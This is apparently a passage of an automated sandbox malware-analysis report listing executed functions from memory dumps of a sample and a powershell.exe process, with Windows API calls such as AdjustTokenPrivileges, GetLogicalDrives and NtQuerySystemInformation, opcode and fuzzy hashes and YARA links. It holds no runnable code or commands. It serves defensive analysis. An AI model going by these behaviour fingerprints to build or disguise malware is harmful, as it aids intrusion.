API String ID: 2738559852-0
Opcode ID: c557faa7ec7d4a34d655c769863f79ba83ea18d159332d30e3488b4d85d3ad76
Instruction ID: f357980226857be52885d6c2cc02b4e8f8b202290ee8aa18aaad9d8e693f1e17
Opcode Fuzzy Hash: c557faa7ec7d4a34d655c769863f79ba83ea18d159332d30e3488b4d85d3ad76
Instruction Fuzzy Hash: 0C11C17A500304EFFB21CF55DC45FA6FBA8EF14721F14855AED499A281C671A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0260A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0260A39C

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: bd6f301883d524fedda84e618a44ee97016b4e95132ff1e18fa50a3d383f8c7e
Instruction ID: 786ad54ba9e1254a99f3bb69ce3aa6eb17587eff93d4ebd28a882e7704dbf8ee
Opcode Fuzzy Hash: bd6f301883d524fedda84e618a44ee97016b4e95132ff1e18fa50a3d383f8c7e
Instruction Fuzzy Hash: EA118F715093C09FE7128B15DC54B62BFB4DF47654F0880CBEDC48F293D265A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028312D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0283132F

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 920c9e32f33b36de2e0e6f991a3706f6d83a531cb64d9c9296be020b308637d0
Instruction ID: 4b6898934431458c65bf22b34d5cfe9ba5ad7c273d65f49799a775ffc88bb554
Opcode Fuzzy Hash: 920c9e32f33b36de2e0e6f991a3706f6d83a531cb64d9c9296be020b308637d0
Instruction Fuzzy Hash: 4B1194755053849FDB128F15DC89B96FFA4EF06620F0984EFED498B252D279A404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028305E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02830640

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 1a2dc08a3f4517c4a9917ff2b9e894f5bbf79b752405d2cfef5b1dee62156856
Instruction ID: edcc532f046356da97a3114328f55f2ea07a97a288c2c0d1555e6a37248c3640
Opcode Fuzzy Hash: 1a2dc08a3f4517c4a9917ff2b9e894f5bbf79b752405d2cfef5b1dee62156856
Instruction Fuzzy Hash: 3311C2B55093C09FDB128B15DC95B52FFB4DF42624F0880DBED898B6A3D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0260AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0260AB1A

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 05a5a7ea41895736b48c323dd0d055879a1e3650f18e318e28023e6269bda9bf
Instruction ID: 2ff6926006f8b6edd1ca883dd5128e39dc44ccb5b2e4290f6c0dc25ffc2138e3
Opcode Fuzzy Hash: 05a5a7ea41895736b48c323dd0d055879a1e3650f18e318e28023e6269bda9bf
Instruction Fuzzy Hash: A9115EB66003009FEB24DF65DC85B57FBD8EB04661F08C46ADE49CB782D774E844DA61

Uniqueness

Uniqueness Score: -1.00%

Function 0260AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0260AA71

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 9523b0391398b24e8cb2b44f75e132a0738a0d0c52621a5764b5ccf9b5f3501b
Instruction ID: a31392e0687de6aa9355fc06cf41ea849d501f9ad3c646236e1855a5d5a2f88c
Opcode Fuzzy Hash: 9523b0391398b24e8cb2b44f75e132a0738a0d0c52621a5764b5ccf9b5f3501b
Instruction Fuzzy Hash: 6411C1754097C09FD7128B11DC85B92BFA0EF03220F0980DBDD848F2A3D269A909D762

Uniqueness

Uniqueness Score: -1.00%

Function 0283092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0283099C

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 4b7bb8a31ce8f0dc90fd94dfa2da369aa421516eeeb9eee4d02213c681120b30
Instruction ID: e03a611c93a66a049ed32b9361f050c901e9a45115f20edea9b9735e99dc18bb
Opcode Fuzzy Hash: 4b7bb8a31ce8f0dc90fd94dfa2da369aa421516eeeb9eee4d02213c681120b30
Instruction Fuzzy Hash: 551190755093C09FE712CB25DC55B92BFA4EF07324F0980DADD888B163C265A908CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 028307C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,00E044E4,00000000,00000000,00000000,00000000), ref: 02830819

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 2ab1388ed3878704da1702973fc41c87a7b2958426d1f7b5287d235fcba62479
Instruction ID: abed2100f296d3b69b95d3b59b041ebd1a2076bf93dcc7fd016ea6e0993cb704
Opcode Fuzzy Hash: 2ab1388ed3878704da1702973fc41c87a7b2958426d1f7b5287d235fcba62479
Instruction Fuzzy Hash: 6801CC79500304EFFB219F01DC85BA6FB98DF04725F14C4AAEE089A282D674A904CAE2

Uniqueness

Uniqueness Score: -1.00%

Function 028313AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028313F0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 2380fe50e567efc96b5ebeafd539b7623f6dfd119a641b1f56880ce3cd9ac0c4
Instruction ID: 56a5bc333695881973fef1076f565982f2aebf8da4dc70aba37c960d97b70525
Opcode Fuzzy Hash: 2380fe50e567efc96b5ebeafd539b7623f6dfd119a641b1f56880ce3cd9ac0c4
Instruction Fuzzy Hash: 2C11A17A500700DFEB21CF56DC89B66FBA4EF04A20F08C4AADD49CB652D375E454CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0260AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0260ABC9

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 8fa448f74812f1c3a07f5edc7d1086e46c874fca3d39ff2854551046438f808c
Instruction ID: fa496ef0e52c256a8cd4e4c5746ea58dda28ba3c916fc8b225f43219d8000b6d
Opcode Fuzzy Hash: 8fa448f74812f1c3a07f5edc7d1086e46c874fca3d39ff2854551046438f808c
Instruction Fuzzy Hash: 78118EB55093809FDB11CF65DC85B92BFA4EF42364F0A80ABDD488F293D375A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0260BA7E

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 55131ab1d3fb322e735b2a50549400a15cbc67216901f2cad005e1111d8a0859
Instruction ID: d23007783d6e94071b0fbaabb6670b20623fff8c845383e280e61e5732f1dc35
Opcode Fuzzy Hash: 55131ab1d3fb322e735b2a50549400a15cbc67216901f2cad005e1111d8a0859
Instruction Fuzzy Hash: 10115E72500704DFDB21CF56DC85B52FBE4EF04614F08C5AADD498A692D375E414EB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0260A23E

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 6068b504efa3889ab7135f21bf3ed2f713db77bf51ce45b1059c568b3eb94b62
Instruction ID: 60ff276ce6636677e3dfa4b3ab4da7adaf816ab3aaaa5eb4c19afb6676c06402
Opcode Fuzzy Hash: 6068b504efa3889ab7135f21bf3ed2f713db77bf51ce45b1059c568b3eb94b62
Instruction Fuzzy Hash: AD0171B1900700ABE310DF16DD46B66FBA8FB84A20F14816AED089B781D675B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02830196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028301D0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 67602a8f3db46cf200ae9712becd210665f49b986dcd3552fff398902fa6ff6b
Instruction ID: 40ee0f2cf4ee4bd487750472d093c15e9a5058f14e5b4e1ea66fe1d1ca05d8d8
Opcode Fuzzy Hash: 67602a8f3db46cf200ae9712becd210665f49b986dcd3552fff398902fa6ff6b
Instruction Fuzzy Hash: 8A019E796003448FEB11DF66DC8576AFB98EB00624F0884AADC09CB642D774E404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0283104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0283109E

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: e307fa267ac3f70d19bcb23baad5696caf148f51141ca143022ea8a4a48d7bab
Instruction ID: ea93c77b037bccfafd3424b7ae8ed4a34c2a7cc79c8fdef3ad326d57a31f294e
Opcode Fuzzy Hash: e307fa267ac3f70d19bcb23baad5696caf148f51141ca143022ea8a4a48d7bab
Instruction Fuzzy Hash: 460171B1900700ABE310DF16DD46B66FBA8FB84B20F14816AED089B781D675B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0260BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 0260BB2F

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: e9a0d81ab136ecc77eeb84cf0c6592f9dc86fcfb7022fbd907e80279ef652354
Instruction ID: 31ce1f0038295117b2ed65f73fa14bbe729ae41ab6f35da1e38c6786797e264e
Opcode Fuzzy Hash: e9a0d81ab136ecc77eeb84cf0c6592f9dc86fcfb7022fbd907e80279ef652354
Instruction Fuzzy Hash: A201DF75500300DFEB24CF15DC857A6FBA4EF04624F08C4ABDD098B296D775E804DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028312FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0283132F

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: e250c132cf6fc3d55fa72c4e7afe0677bb51b2378980d45dda3df131465345af
Instruction ID: 657b671604cd11b1ced6bf9ffe880bf4b1ddda2e14058a68e9e09a03b3982168
Opcode Fuzzy Hash: e250c132cf6fc3d55fa72c4e7afe0677bb51b2378980d45dda3df131465345af
Instruction Fuzzy Hash: 5301DF79500300DFEF21CF15DC897A5FBA4EF04A20F08C4AADD0DCB642D679A404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0260A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0260A94A

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: ce06f1f13778660fc674cad95e896325b96d5156bb90c99d910ad142ce5c78e2
Instruction ID: f3c4a110d675046f3b2619e4ff49befba1a0b23c5ebab99989b563ad25a9bc44
Opcode Fuzzy Hash: ce06f1f13778660fc674cad95e896325b96d5156bb90c99d910ad142ce5c78e2
Instruction Fuzzy Hash: F201A271900700ABD320DF16DC42B26FBA4FB88B20F14811AED085B781D671F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 028304B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02830502

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: c8885160b7ae31fe24dfef75e800f7a360182f54a8607f0e89594e837ca123c3
Instruction ID: 109dd041323b75cdb1910130df72a50b252d46c5ce03bdddf328a9f89f6fe0bc
Opcode Fuzzy Hash: c8885160b7ae31fe24dfef75e800f7a360182f54a8607f0e89594e837ca123c3
Instruction Fuzzy Hash: BE01A271900700ABD320DF16DC42B26FBA4FB88B20F14811AED085B781D671F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 02830F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02830FB0

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 8e87a60c405185a6f0c3c59a0dd74319a44fcbd062cb1c2018c11184bf0f6496
Instruction ID: e416a7c0b0b577abdf345f90dec0ad3f906b3b7255938cc2b2879e716dee2103
Opcode Fuzzy Hash: 8e87a60c405185a6f0c3c59a0dd74319a44fcbd062cb1c2018c11184bf0f6496
Instruction Fuzzy Hash: DC018B79904344DFEB21DF16D885B66FBA4EF00624F08C4AADD08CF686D374E448CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0283060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02830640

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: ee98579e50cf82dc3b51f427b5a936adb7da7737784ec24fe90e99c67cd3ae89
Instruction ID: 313629f8015f6383127d96d5186cbaa5285b25247bae28a2e72b80644cd3600f
Opcode Fuzzy Hash: ee98579e50cf82dc3b51f427b5a936adb7da7737784ec24fe90e99c67cd3ae89
Instruction Fuzzy Hash: B401F479600704CFEB218F15DC85761FBA4DF41724F08C0AADD098B757E374E444CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0260AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0260ABC9

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: bba539085423db2d0ea408e40fae89ba51e8634988b36df05e02db389feaa044
Instruction ID: 7f733ae06f94639e8e7ee2268e35cbe716bec0818fc510aab1de957748324c67
Opcode Fuzzy Hash: bba539085423db2d0ea408e40fae89ba51e8634988b36df05e02db389feaa044
Instruction Fuzzy Hash: 5701D175504340CFEB10DF55D885B92FB94EF00660F08C4ABCE088F282D374A844CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02831116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02831148

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 06dbef5b73b2f339ed3820f5f03e189ca4a5070ec0ec4b1abcba574ae53e9a05
Instruction ID: 57e9e81b336a84efd0634564f3f3815633662097fe9b6f108e9364eabba6d7d2
Opcode Fuzzy Hash: 06dbef5b73b2f339ed3820f5f03e189ca4a5070ec0ec4b1abcba574ae53e9a05
Instruction Fuzzy Hash: 5AF0FF3D500744DFEB21CF05D8897A9FBA0EF04A25F08C09ACD0C8B356C679A444CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0260A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0260A39C

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 77d56c6502bd30e61c223656bf1fdb986d580e03569ac3ee6d995c9b4ac3e4a0
Instruction ID: 0d670401c0429dcd4b0ae09a2397d3f082f9f223b6170a078f7705878b4b4645
Opcode Fuzzy Hash: 77d56c6502bd30e61c223656bf1fdb986d580e03569ac3ee6d995c9b4ac3e4a0
Instruction Fuzzy Hash: DCF0AF75504740DFEB249F46D885766FBA0EF04761F08C09ADE098B392D375A844DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0283096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0283099C

Memory Dump Source

Source File: 00000008.00000002.2133205163.0000000002830000.00000040.00000001.sdmp, Offset: 02830000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6d026b999ed99cdd219aa8d41431242bb9ef5d0e054f4a741d2d1352dbdf78a1
Instruction ID: 9de82626701511240ddd5210506ec20ab57cef60bf438f4f26b77876c622b738
Opcode Fuzzy Hash: 6d026b999ed99cdd219aa8d41431242bb9ef5d0e054f4a741d2d1352dbdf78a1
Instruction Fuzzy Hash: 3BF02D3C904304CFEB20CF06D889722FBA0EF00726F08C09ACD488B346C3B4A408CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0260AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0260AA71

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: f10f996d15d10a126991580c6cdda66446f3ba2adfb49054065a567cbac5778e
Instruction ID: d6a2b5563d9423272e29014b2b401477fd47931a87e80ff954c12f65651fe1dc
Opcode Fuzzy Hash: f10f996d15d10a126991580c6cdda66446f3ba2adfb49054065a567cbac5778e
Instruction Fuzzy Hash: 00F0C235500740CFEB10CF46DAC5762FB90EF04661F08C09ADE094B3C2D2B5A944DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0260A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0260A9C8

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 15c7217128b155f8924ff0e77b6cc7bec8058e101096deb115f5d94a9f45f6bc
Instruction ID: f5d36c71b41f9db2190aa976fd7bbc8ce4adb520ad9d3bc094355144fc0d8e3e
Opcode Fuzzy Hash: 15c7217128b155f8924ff0e77b6cc7bec8058e101096deb115f5d94a9f45f6bc
Instruction Fuzzy Hash: 9F11A3755093809FD711CF25DC85B92FFA4DF02360F0980EBED458B292D275A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0260A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0260A9C8

Memory Dump Source

Source File: 00000008.00000002.2132762364.000000000260A000.00000040.00000001.sdmp, Offset: 0260A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: efa1ce93f86ac38492682a174dc242f9ec9d3344410863b791000e52603d5299
Instruction ID: 06b76eb2a65c606cf251830c5cb90b94665d4fe838be9a1a1e70f18c1fd1cd1d
Opcode Fuzzy Hash: efa1ce93f86ac38492682a174dc242f9ec9d3344410863b791000e52603d5299
Instruction Fuzzy Hash: 4301F275A00740CFEB14DF56DC857A6FB94EF00360F08C4ABDE098B382D275A804DB61

Uniqueness

Uniqueness Score: -1.00%

Function 026107F7, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2132769996.0000000002610000.00000040.00000040.sdmp, Offset: 02610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 293b1014b8c6cb22f1fcc5c371952fb6f87be1b769213d06629cc96e9a30e3b6
Instruction ID: d2201f8d2fc5044856e85087b0f16b8c971003879e1328f5634a66333bb8b584
Opcode Fuzzy Hash: 293b1014b8c6cb22f1fcc5c371952fb6f87be1b769213d06629cc96e9a30e3b6
Instruction Fuzzy Hash: EA01D6B6509380AFD711CB06AC41863FFA8DF87630709C59FEC498B653D229A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0261081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2132769996.0000000002610000.00000040.00000040.sdmp, Offset: 02610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11f86962601bef1675910ecfd1710ba6555a3a620740e060ed66911a8075038
Instruction ID: 70c092259dc55323f15a3d253088161126c06c46487ebf55111ec16be0886c82
Opcode Fuzzy Hash: c11f86962601bef1675910ecfd1710ba6555a3a620740e060ed66911a8075038
Instruction Fuzzy Hash: A0E092B66007008BD750CF0BEC41452F794EB84A30B18C07FDC0D8B701D175B504CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 05850860, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2147565743.0000000005850000.00000040.00000001.sdmp, Offset: 05850000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b8ce5fad9d45819e18fc6267b39ef72928d0e59086c429d8c973ef93cb6319
Instruction ID: 4e429a3c749e6062b21976afe22c06caf8ba009c554afba3fd5da060f0b0abad
Opcode Fuzzy Hash: 62b8ce5fad9d45819e18fc6267b39ef72928d0e59086c429d8c973ef93cb6319
Instruction Fuzzy Hash: 8AE09A2224E3D04FC3039B74A8741953FB19F43004B0D81EBC882CF1A3C208088AD767

Uniqueness

Uniqueness Score: -1.00%

Function 026023F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2132753970.0000000002602000.00000040.00000001.sdmp, Offset: 02602000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940f82029b84ae5257022d61f803a87dc29a40376e2d218b803f9585cfeb43aa
Instruction ID: 9db1582730701eec19b5036f8444fe4864e6d26cebe096b76be1c0ac0954d1be
Opcode Fuzzy Hash: 940f82029b84ae5257022d61f803a87dc29a40376e2d218b803f9585cfeb43aa
Instruction Fuzzy Hash: 31D05E79205A818FD71A8A1CC1A8B963794AF55B08F4644F9EC40CB7A3C768E5D1E200

Uniqueness

Uniqueness Score: -1.00%

Function 026023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2132753970.0000000002602000.00000040.00000001.sdmp, Offset: 02602000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36728460581d68e24b5769bf50c6810cd4f6cc562a82678aa4188932a9b08de2
Instruction ID: 82bfa90576b6e1e78583cef9f2a722221cf6459dd3db335915c840bf041e2afa
Opcode Fuzzy Hash: 36728460581d68e24b5769bf50c6810cd4f6cc562a82678aa4188932a9b08de2
Instruction Fuzzy Hash: 50D05E343006818FDB1DCA1CD1E8F5A73E8AF40704F0644E8BC008B3A6C3B4E880D600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2276 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 01CFACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01CFAD37

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 36ffa822c5256b6b68de9d0dd63908104ed623d0687df2dd7de6beb33e1b8c8d
Instruction ID: c40f9b1c84565ad66233cefb5f9aa06709141b5d9849cd8f9f9e8d455e2b2d7c
Opcode Fuzzy Hash: 36ffa822c5256b6b68de9d0dd63908104ed623d0687df2dd7de6beb33e1b8c8d
Instruction Fuzzy Hash: DD2191755097849FEB238F25DC44B92FFB4EF06314F08849AE9898B5A3D271D908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CFACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01CFAD37

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: cb22b281388a126a6290a9b38d5f910f03b3838a82554fe0da466aae4a1adfde
Instruction ID: 72e073ad452aaf4636af057647812ed362ba51046610686aa0b19c81987ee958
Opcode Fuzzy Hash: cb22b281388a126a6290a9b38d5f910f03b3838a82554fe0da466aae4a1adfde
Instruction Fuzzy Hash: CC118C75500704DFEB618F55D884B56FBE4EF04321F08C46EEE498B662D231E514CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CFB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01CFB329

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: ff25b6d23ce0e9227b6977a2f02db0a8c0aeec99c9fbe27b2b42b25dd2973403
Instruction ID: d46e8baafd2fefc4e56c4ca95408fbc74481bc587fc49dbaf02a927b1967ae93
Opcode Fuzzy Hash: ff25b6d23ce0e9227b6977a2f02db0a8c0aeec99c9fbe27b2b42b25dd2973403
Instruction Fuzzy Hash: 0811A3715083849FDB228F15DC45F52FFB4EF06224F09C49EEE844B563C275A918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01CFB329

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 2439852303d4f6a6d65c0bf53c320fe1bc8bfe55d3e9e50d1165fbec6625d0bf
Instruction ID: a2dd47a227e54004314b74623a970c49ea533725070a6f5b98fe443a3243555a
Opcode Fuzzy Hash: 2439852303d4f6a6d65c0bf53c320fe1bc8bfe55d3e9e50d1165fbec6625d0bf
Instruction Fuzzy Hash: 2F01AD35504744DFEB618F09D885B21FFA0EF04B21F08C09EDE490B616C771E918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02810118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028101D0

Memory Dump Source

